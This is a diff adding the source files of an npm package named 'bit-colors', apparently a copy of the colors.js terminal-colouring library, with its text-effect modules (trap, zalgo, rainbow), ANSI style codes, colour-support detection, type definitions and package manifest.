+ h: ['\u0126', '\u0195', '\u04a2', '\u04ba', '\u04c7', '\u050a'],
15
+ i: ['\u0f0f'],
16
+ j: ['\u0134'],
17
+ k: ['\u0138', '\u04a0', '\u04c3', '\u051e'],
18
+ l: ['\u0139'],
19
+ m: ['\u028d', '\u04cd', '\u04ce', '\u0520', '\u0521', '\u0d69'],
20
+ n: ['\u00d1', '\u014b', '\u019d', '\u0376', '\u03a0', '\u048a'],
21
+ o: ['\u00d8', '\u00f5', '\u00f8', '\u01fe', '\u0298', '\u047a', '\u05dd',
22
+ '\u06dd', '\u0e4f'],
23
+ p: ['\u01f7', '\u048e'],
24
+ q: ['\u09cd'],
25
+ r: ['\u00ae', '\u01a6', '\u0210', '\u024c', '\u0280', '\u042f'],
26
+ s: ['\u00a7', '\u03de', '\u03df', '\u03e8'],
27
+ t: ['\u0141', '\u0166', '\u0373'],
28
+ u: ['\u01b1', '\u054d'],
29
+ v: ['\u05d8'],
30
+ w: ['\u0428', '\u0460', '\u047c', '\u0d70'],
31
+ x: ['\u04b2', '\u04fe', '\u04fc', '\u04fd'],
32
+ y: ['\u00a5', '\u04b0', '\u04cb'],
33
+ z: ['\u01b5', '\u0240'],
34
+ };
35
+ text.forEach(function(c) {
36
+ c = c.toLowerCase();
37
+ var chars = trap[c] || [' '];
38
+ var rand = Math.floor(Math.random() * chars.length);
39
+ if (typeof trap[c] !== 'undefined') {
40
+ result += trap[c][rand];
41
+ } else {
42
+ result += c;
43
+ }
44
+ });
45
+ return result;
46
+ };
@@ -0,0 +1,110 @@
1
+ // please no
2
+ module['exports'] = function zalgo(text, options) {
3
+ text = text || ' he is here ';
4
+ var soul = {
5
+ 'up': [
6
+ '̍', '̎', '̄', '̅',
7
+ '̿', '̑', '̆', '̐',
8
+ '͒', '͗', '͑', '̇',
9
+ '̈', '̊', '͂', '̓',
10
+ '̈', '͊', '͋', '͌',
11
+ '̃', '̂', '̌', '͐',
12
+ '̀', '́', '̋', '̏',
13
+ '̒', '̓', '̔', '̽',
14
+ '̉', 'ͣ', 'ͤ', 'ͥ',
15
+ 'ͦ', 'ͧ', 'ͨ', 'ͩ',
16
+ 'ͪ', 'ͫ', 'ͬ', 'ͭ',
17
+ 'ͮ', 'ͯ', '̾', '͛',
18
+ '͆', '̚',
19
+ ],
20
+ 'down': [
21
+ '̖', '̗', '̘', '̙',
22
+ '̜', '̝', '̞', '̟',
23
+ '̠', '̤', '̥', '̦',
24
+ '̩', '̪', '̫', '̬',
25
+ '̭', '̮', '̯', '̰',
26
+ '̱', '̲', '̳', '̹',
27
+ '̺', '̻', '̼', 'ͅ',
28
+ '͇', '͈', '͉', '͍',
29
+ '͎', '͓', '͔', '͕',
30
+ '͖', '͙', '͚', '̣',
31
+ ],
32
+ 'mid': [
33
+ '̕', '̛', '̀', '́',
34
+ '͘', '̡', '̢', '̧',
35
+ '̨', '̴', '̵', '̶',
36
+ '͜', '͝', '͞',
37
+ '͟', '͠', '͢', '̸',
38
+ '̷', '͡', ' ҉',
39
+ ],
40
+ };
41
+ var all = [].concat(soul.up, soul.down, soul.mid);
42
+
43
+ function randomNumber(range) {
44
+ var r = Math.floor(Math.random() * range);
45
+ return r;
46
+ }
47
+
48
+ function isChar(character) {
49
+ var bool = false;
50
+ all.filter(function(i) {
51
+ bool = (i === character);
52
+ });
53
+ return bool;
54
+ }
55
+
56
+
57
+ function heComes(text, options) {
58
+ var result = '';
59
+ var counts;
60
+ var l;
61
+ options = options || {};
62
+ options['up'] =
63
+ typeof options['up'] !== 'undefined' ? options['up'] : true;
64
+ options['mid'] =
65
+ typeof options['mid'] !== 'undefined' ? options['mid'] : true;
66
+ options['down'] =
67
+ typeof options['down'] !== 'undefined' ? options['down'] : true;
68
+ options['size'] =
69
+ typeof options['size'] !== 'undefined' ? options['size'] : 'maxi';
70
+ text = text.split('');
71
+ for (l in text) {
72
+ if (isChar(l)) {
73
+ continue;
74
+ }
75
+ result = result + text[l];
76
+ counts = {'up': 0, 'down': 0, 'mid': 0};
77
+ switch (options.size) {
78
+ case 'mini':
79
+ counts.up = randomNumber(8);
80
+ counts.mid = randomNumber(2);
81
+ counts.down = randomNumber(8);
82
+ break;
83
+ case 'maxi':
84
+ counts.up = randomNumber(16) + 3;
85
+ counts.mid = randomNumber(4) + 1;
86
+ counts.down = randomNumber(64) + 3;
87
+ break;
88
+ default:
89
+ counts.up = randomNumber(8) + 1;
90
+ counts.mid = randomNumber(6) / 2;
91
+ counts.down = randomNumber(8) + 1;
92
+ break;
93
+ }
94
+
95
+ var arr = ['up', 'mid', 'down'];
96
+ for (var d in arr) {
97
+ var index = arr[d];
98
+ for (var i = 0; i <= counts[index]; i++) {
99
+ if (options[index]) {
100
+ result = result + soul[index][randomNumber(soul[index].length)];
101
+ }
102
+ }
103
+ }
104
+ }
105
+ return result;
106
+ }
107
+ // don't summon him
108
+ return heComes(text, options);
109
+ };
110
+
@@ -0,0 +1,110 @@
1
+ var colors = require('./colors');
2
+
3
+ module['exports'] = function() {
4
+ //
5
+ // Extends prototype of native string object to allow for "foo".red syntax
6
+ //
7
+ var addProperty = function(color, func) {
8
+ String.prototype.__defineGetter__(color, func);
9
+ };
10
+
11
+ addProperty('strip', function() {
12
+ return colors.strip(this);
13
+ });
14
+
15
+ addProperty('stripColors', function() {
16
+ return colors.strip(this);
17
+ });
18
+
19
+ addProperty('trap', function() {
20
+ return colors.trap(this);
21
+ });
22
+
23
+ addProperty('zalgo', function() {
24
+ return colors.zalgo(this);
25
+ });
26
+
27
+ addProperty('zebra', function() {
28
+ return colors.zebra(this);
29
+ });
30
+
31
+ addProperty('rainbow', function() {
32
+ return colors.rainbow(this);
33
+ });
34
+
35
+ addProperty('random', function() {
36
+ return colors.random(this);
37
+ });
38
+
39
+ addProperty('america', function() {
40
+ return colors.america(this);
41
+ });
42
+
43
+ //
44
+ // Iterate through all default styles and colors
45
+ //
46
+ var x = Object.keys(colors.styles);
47
+ x.forEach(function(style) {
48
+ addProperty(style, function() {
49
+ return colors.stylize(this, style);
50
+ });
51
+ });
52
+
53
+ function applyTheme(theme) {
54
+ //
55
+ // Remark: This is a list of methods that exist
56
+ // on String that you should not overwrite.
57
+ //
58
+ var stringPrototypeBlacklist = [
59
+ '__defineGetter__', '__defineSetter__', '__lookupGetter__',
60
+ '__lookupSetter__', 'charAt', 'constructor', 'hasOwnProperty',
61
+ 'isPrototypeOf', 'propertyIsEnumerable', 'toLocaleString', 'toString',
62
+ 'valueOf', 'charCodeAt', 'indexOf', 'lastIndexOf', 'length',
63
+ 'localeCompare', 'match', 'repeat', 'replace', 'search', 'slice',
64
+ 'split', 'substring', 'toLocaleLowerCase', 'toLocaleUpperCase',
65
+ 'toLowerCase', 'toUpperCase', 'trim', 'trimLeft', 'trimRight',
66
+ ];
67
+
68
+ Object.keys(theme).forEach(function(prop) {
69
+ if (stringPrototypeBlacklist.indexOf(prop) !== -1) {
70
+ console.log('warn: '.red + ('String.prototype' + prop).magenta +
71
+ ' is probably something you don\'t want to override. ' +
72
+ 'Ignoring style name');
73
+ } else {
74
+ if (typeof(theme[prop]) === 'string') {
75
+ colors[prop] = colors[theme[prop]];
76
+ addProperty(prop, function() {
77
+ return colors[prop](this);
78
+ });
79
+ } else {
80
+ var themePropApplicator = function(str) {
81
+ var ret = str || this;
82
+ for (var t = 0; t < theme[prop].length; t++) {
83
+ ret = colors[theme[prop][t]](ret);
84
+ }
85
+ return ret;
86
+ };
87
+ addProperty(prop, themePropApplicator);
88
+ colors[prop] = function(str) {
89
+ return themePropApplicator(str);
90
+ };
91
+ }
92
+ }
93
+ });
94
+ }
95
+
96
+ colors.setTheme = function(theme) {
97
+ if (typeof theme === 'string') {
98
+ console.log('colors.setTheme now only accepts an object, not a string. ' +
99
+ 'If you are trying to set a theme from a file, it is now your (the ' +
100
+ 'caller\'s) responsibility to require the file. The old syntax ' +
101
+ 'looked like colors.setTheme(__dirname + ' +
102
+ '\'/../themes/generic-logging.js\'); The new syntax looks like '+
103
+ 'colors.setTheme(require(__dirname + ' +
104
+ '\'/../themes/generic-logging.js\'));');
105
+ return;
106
+ } else {
107
+ applyTheme(theme);
108
+ }
109
+ };
110
+ };
package/lib/index.js ADDED
@@ -0,0 +1,13 @@
1
+ var colors = require('./colors');
2
+ module['exports'] = colors;
3
+
4
+ // Remark: By default, colors will add style properties to String.prototype.
5
+ //
6
+ // If you don't wish to extend String.prototype, you can do this instead and
7
+ // native String will not be touched:
8
+ //
9
+ // var colors = require('colors/safe);
10
+ // colors.red("foo")
11
+ //
12
+ //
13
+ require('./extendStringPrototype')();
@@ -0,0 +1,10 @@
1
+ module['exports'] = function(colors) {
2
+ return function(letter, i, exploded) {
3
+ if (letter === ' ') return letter;
4
+ switch (i%3) {
5
+ case 0: return colors.red(letter);
6
+ case 1: return colors.white(letter);
7
+ case 2: return colors.blue(letter);
8
+ }
9
+ };
10
+ };
@@ -0,0 +1,12 @@
1
+ module['exports'] = function(colors) {
2
+ // RoY G BiV
3
+ var rainbowColors = ['red', 'yellow', 'green', 'blue', 'magenta'];
4
+ return function(letter, i, exploded) {
5
+ if (letter === ' ') {
6
+ return letter;
7
+ } else {
8
+ return colors[rainbowColors[i++ % rainbowColors.length]](letter);
9
+ }
10
+ };
11
+ };
12
+
@@ -0,0 +1,11 @@
1
+ module['exports'] = function(colors) {
2
+ var available = ['underline', 'inverse', 'grey', 'yellow', 'red', 'green',
3
+ 'blue', 'white', 'cyan', 'magenta', 'brightYellow', 'brightRed',
4
+ 'brightGreen', 'brightBlue', 'brightWhite', 'brightCyan', 'brightMagenta'];
5
+ return function(letter, i, exploded) {
6
+ return letter === ' ' ? letter :
7
+ colors[
8
+ available[Math.round(Math.random() * (available.length - 2))]
9
+ ](letter);
10
+ };
11
+ };
@@ -0,0 +1,5 @@
1
+ module['exports'] = function(colors) {
2
+ return function(letter, i, exploded) {
3
+ return i % 2 === 0 ? letter : colors.inverse(letter);
4
+ };
5
+ };
package/lib/styles.js ADDED
@@ -0,0 +1,95 @@
1
+ /*
2
+ The MIT License (MIT)
3
+
4
+ Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
5
+
6
+ Permission is hereby granted, free of charge, to any person obtaining a copy
7
+ of this software and associated documentation files (the "Software"), to deal
8
+ in the Software without restriction, including without limitation the rights
9
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
10
+ copies of the Software, and to permit persons to whom the Software is
11
+ furnished to do so, subject to the following conditions:
12
+
13
+ The above copyright notice and this permission notice shall be included in
14
+ all copies or substantial portions of the Software.
15
+
16
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
17
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
18
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
19
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
20
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
21
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
22
+ THE SOFTWARE.
23
+
24
+ */
25
+
26
+ var styles = {};
27
+ module['exports'] = styles;
28
+
29
+ var codes = {
30
+ reset: [0, 0],
31
+
32
+ bold: [1, 22],
33
+ dim: [2, 22],
34
+ italic: [3, 23],
35
+ underline: [4, 24],
36
+ inverse: [7, 27],
37
+ hidden: [8, 28],
38
+ strikethrough: [9, 29],
39
+
40
+ black: [30, 39],
41
+ red: [31, 39],
42
+ green: [32, 39],
43
+ yellow: [33, 39],
44
+ blue: [34, 39],
45
+ magenta: [35, 39],
46
+ cyan: [36, 39],
47
+ white: [37, 39],
48
+ gray: [90, 39],
49
+ grey: [90, 39],
50
+
51
+ brightRed: [91, 39],
52
+ brightGreen: [92, 39],
53
+ brightYellow: [93, 39],
54
+ brightBlue: [94, 39],
55
+ brightMagenta: [95, 39],
56
+ brightCyan: [96, 39],
57
+ brightWhite: [97, 39],
58
+
59
+ bgBlack: [40, 49],
60
+ bgRed: [41, 49],
61
+ bgGreen: [42, 49],
62
+ bgYellow: [43, 49],
63
+ bgBlue: [44, 49],
64
+ bgMagenta: [45, 49],
65
+ bgCyan: [46, 49],
66
+ bgWhite: [47, 49],
67
+ bgGray: [100, 49],
68
+ bgGrey: [100, 49],
69
+
70
+ bgBrightRed: [101, 49],
71
+ bgBrightGreen: [102, 49],
72
+ bgBrightYellow: [103, 49],
73
+ bgBrightBlue: [104, 49],
74
+ bgBrightMagenta: [105, 49],
75
+ bgBrightCyan: [106, 49],
76
+ bgBrightWhite: [107, 49],
77
+
78
+ // legacy styles for colors pre v1.0.0
79
+ blackBG: [40, 49],
80
+ redBG: [41, 49],
81
+ greenBG: [42, 49],
82
+ yellowBG: [43, 49],
83
+ blueBG: [44, 49],
84
+ magentaBG: [45, 49],
85
+ cyanBG: [46, 49],
86
+ whiteBG: [47, 49],
87
+
88
+ };
89
+
90
+ Object.keys(codes).forEach(function(key) {
91
+ var val = codes[key];
92
+ var style = styles[key] = [];
93
+ style.open = '\u001b[' + val[0] + 'm';
94
+ style.close = '\u001b[' + val[1] + 'm';
95
+ });
@@ -0,0 +1,35 @@
1
+ /*
2
+ MIT License
3
+
4
+ Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
5
+
6
+ Permission is hereby granted, free of charge, to any person obtaining a copy of
7
+ this software and associated documentation files (the "Software"), to deal in
8
+ the Software without restriction, including without limitation the rights to
9
+ use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
10
+ of the Software, and to permit persons to whom the Software is furnished to do
11
+ so, subject to the following conditions:
12
+
13
+ The above copyright notice and this permission notice shall be included in all
14
+ copies or substantial portions of the Software.
15
+
16
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
17
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
18
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
19
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
20
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
21
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
22
+ SOFTWARE.
23
+ */
24
+
25
+ 'use strict';
26
+
27
+ module.exports = function(flag, argv) {
28
+ argv = argv || process.argv;
29
+
30
+ var terminatorPos = argv.indexOf('--');
31
+ var prefix = /^-{1,2}/.test(flag) ? '' : '--';
32
+ var pos = argv.indexOf(prefix + flag);
33
+
34
+ return pos !== -1 && (terminatorPos === -1 ? true : pos < terminatorPos);
35
+ };
@@ -0,0 +1,151 @@
1
+ /*
2
+ The MIT License (MIT)
3
+
4
+ Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
5
+
6
+ Permission is hereby granted, free of charge, to any person obtaining a copy
7
+ of this software and associated documentation files (the "Software"), to deal
8
+ in the Software without restriction, including without limitation the rights
9
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
10
+ copies of the Software, and to permit persons to whom the Software is
11
+ furnished to do so, subject to the following conditions:
12
+
13
+ The above copyright notice and this permission notice shall be included in
14
+ all copies or substantial portions of the Software.
15
+
16
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
17
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
18
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
19
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
20
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
21
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
22
+ THE SOFTWARE.
23
+
24
+ */
25
+
26
+ 'use strict';
27
+
28
+ var os = require('os');
29
+ var hasFlag = require('./has-flag.js');
30
+
31
+ var env = process.env;
32
+
33
+ var forceColor = void 0;
34
+ if (hasFlag('no-color') || hasFlag('no-colors') || hasFlag('color=false')) {
35
+ forceColor = false;
36
+ } else if (hasFlag('color') || hasFlag('colors') || hasFlag('color=true')
37
+ || hasFlag('color=always')) {
38
+ forceColor = true;
39
+ }
40
+ if ('FORCE_COLOR' in env) {
41
+ forceColor = env.FORCE_COLOR.length === 0
42
+ || parseInt(env.FORCE_COLOR, 10) !== 0;
43
+ }
44
+
45
+ function translateLevel(level) {
46
+ if (level === 0) {
47
+ return false;
48
+ }
49
+
50
+ return {
51
+ level: level,
52
+ hasBasic: true,
53
+ has256: level >= 2,
54
+ has16m: level >= 3,
55
+ };
56
+ }
57
+
58
+ function supportsColor(stream) {
59
+ if (forceColor === false) {
60
+ return 0;
61
+ }
62
+
63
+ if (hasFlag('color=16m') || hasFlag('color=full')
64
+ || hasFlag('color=truecolor')) {
65
+ return 3;
66
+ }
67
+
68
+ if (hasFlag('color=256')) {
69
+ return 2;
70
+ }
71
+
72
+ if (stream && !stream.isTTY && forceColor !== true) {
73
+ return 0;
74
+ }
75
+
76
+ var min = forceColor ? 1 : 0;
77
+
78
+ if (process.platform === 'win32') {
79
+ // Node.js 7.5.0 is the first version of Node.js to include a patch to
80
+ // libuv that enables 256 color output on Windows. Anything earlier and it
81
+ // won't work. However, here we target Node.js 8 at minimum as it is an LTS
82
+ // release, and Node.js 7 is not. Windows 10 build 10586 is the first
83
+ // Windows release that supports 256 colors. Windows 10 build 14931 is the
84
+ // first release that supports 16m/TrueColor.
85
+ var osRelease = os.release().split('.');
86
+ if (Number(process.versions.node.split('.')[0]) >= 8
87
+ && Number(osRelease[0]) >= 10 && Number(osRelease[2]) >= 10586) {
88
+ return Number(osRelease[2]) >= 14931 ? 3 : 2;
89
+ }
90
+
91
+ return 1;
92
+ }
93
+
94
+ if ('CI' in env) {
95
+ if (['TRAVIS', 'CIRCLECI', 'APPVEYOR', 'GITLAB_CI'].some(function(sign) {
96
+ return sign in env;
97
+ }) || env.CI_NAME === 'codeship') {
98
+ return 1;
99
+ }
100
+
101
+ return min;
102
+ }
103
+
104
+ if ('TEAMCITY_VERSION' in env) {
105
+ return (/^(9\.(0*[1-9]\d*)\.|\d{2,}\.)/.test(env.TEAMCITY_VERSION) ? 1 : 0
106
+ );
107
+ }
108
+
109
+ if ('TERM_PROGRAM' in env) {
110
+ var version = parseInt((env.TERM_PROGRAM_VERSION || '').split('.')[0], 10);
111
+
112
+ switch (env.TERM_PROGRAM) {
113
+ case 'iTerm.app':
114
+ return version >= 3 ? 3 : 2;
115
+ case 'Hyper':
116
+ return 3;
117
+ case 'Apple_Terminal':
118
+ return 2;
119
+ // No default
120
+ }
121
+ }
122
+
123
+ if (/-256(color)?$/i.test(env.TERM)) {
124
+ return 2;
125
+ }
126
+
127
+ if (/^screen|^xterm|^vt100|^rxvt|color|ansi|cygwin|linux/i.test(env.TERM)) {
128
+ return 1;
129
+ }
130
+
131
+ if ('COLORTERM' in env) {
132
+ return 1;
133
+ }
134
+
135
+ if (env.TERM === 'dumb') {
136
+ return min;
137
+ }
138
+
139
+ return min;
140
+ }
141
+
142
+ function getSupportLevel(stream) {
143
+ var level = supportsColor(stream);
144
+ return translateLevel(level);
145
+ }
146
+
147
+ module.exports = {
148
+ supportsColor: getSupportLevel,
149
+ stdout: getSupportLevel(process.stdout),
150
+ stderr: getSupportLevel(process.stderr),
151
+ };
package/package.json ADDED
@@ -0,0 +1,45 @@
1
+ {
2
+ "name": "bit-colors",
3
+ "description": "get colors in your node.js console",
4
+ "version": "1.4.0",
5
+ "author": "Marak Squires",
6
+ "contributors": [
7
+ {
8
+ "name": "DABH",
9
+ "url": "https://github.com/DABH"
10
+ }
11
+ ],
12
+ "homepage": "https://github.com/Marak/colors.js",
13
+ "bugs": "https://github.com/Marak/colors.js/issues",
14
+ "keywords": [
15
+ "ansi",
16
+ "terminal",
17
+ "colors"
18
+ ],
19
+ "repository": {
20
+ "type": "git",
21
+ "url": "http://github.com/Marak/colors.js.git"
22
+ },
23
+ "license": "MIT",
24
+ "scripts": {
25
+ "lint": "eslint . --fix",
26
+ "test": "node tests/basic-test.js && node tests/safe-test.js"
27
+ },
28
+ "engines": {
29
+ "node": ">=0.1.90"
30
+ },
31
+ "main": "lib/index.js",
32
+ "files": [
33
+ "examples",
34
+ "lib",
35
+ "LICENSE",
36
+ "safe.js",
37
+ "themes",
38
+ "index.d.ts",
39
+ "safe.d.ts"
40
+ ],
41
+ "devDependencies": {
42
+ "eslint": "^5.2.0",
43
+ "eslint-config-google": "^0.11.0"
44
+ }
45
+ }
package/safe.d.ts ADDED
@@ -0,0 +1,48 @@
1
+ // Type definitions for Colors.js 1.2
2
+ // Project: https://github.com/Marak/colors.js
3
+ // Definitions by: Bart van der Schoor <https://github.com/Bartvds>, Staffan Eketorp <https://github.com/staeke>
4
+ // Definitions: https://github.com/Marak/colors.js
5
+
6
+ export const enabled: boolean;
7
+ export function enable(): void;
8
+ export function disable(): void;
9
+ export function setTheme(theme: any): void;
10
+
11
+ export function strip(str: string): string;
12
+ export function stripColors(str: string): string;
13
+
14
+ export function black(str: string): string;
15
+ export function red(str: string): string;
16
+ export function green(str: string): string;
17
+ export function yellow(str: string): string;
18
+ export function blue(str: string): string;
19
+ export function magenta(str: string): string;
20
+ export function cyan(str: string): string;
21
+ export function white(str: string): string;
22
+ export function gray(str: string): string;
23
+ export function grey(str: string): string;
24
+
25
+ export function bgBlack(str: string): string;
26
+ export function bgRed(str: string): string;
27
+ export function bgGreen(str: string): string;
28
+ export function bgYellow(str: string): string;
29
+ export function bgBlue(str: string): string;
30
+ export function bgMagenta(str: string): string;
31
+ export function bgCyan(str: string): string;
32
+ export function bgWhite(str: string): string;
33
+
34
+ export function reset(str: string): string;
35
+ export function bold(str: string): string;
36
+ export function dim(str: string): string;
37
+ export function italic(str: string): string;
38
+ export function underline(str: string): string;
39
+ export function inverse(str: string): string;
40
+ export function hidden(str: string): string;
41
+ export function strikethrough(str: string): string;
42
+
43
+ export function rainbow(str: string): string;
44
+ export function zebra(str: string): string;
45
+ export function america(str: string): string;
46
+ export function trap(str: string): string;
47
+ export function random(str: string): string;
48
+ export function zalgo(str: string): string;
package/safe.js ADDED
@@ -0,0 +1,10 @@
1
+ //
2
+ // Remark: Requiring this file will use the "safe" colors API,
3
+ // which will not touch String.prototype.
4
+ //
5
+ // var colors = require('colors/safe');
6
+ // colors.red("foo")
7
+ //
8
+ //
9
+ var colors = require('./lib/colors');
10
+ module['exports'] = colors;
@@ -0,0 +1,12 @@
1
+ module['exports'] = {
2
+ silly: 'rainbow',
3
+ input: 'grey',
4
+ verbose: 'cyan',
5
+ prompt: 'grey',
6
+ info: 'green',
7
+ data: 'grey',
8
+ help: 'cyan',
9
+ warn: 'yellow',
10
+ debug: 'blue',
11
+ error: 'red',
12
+ };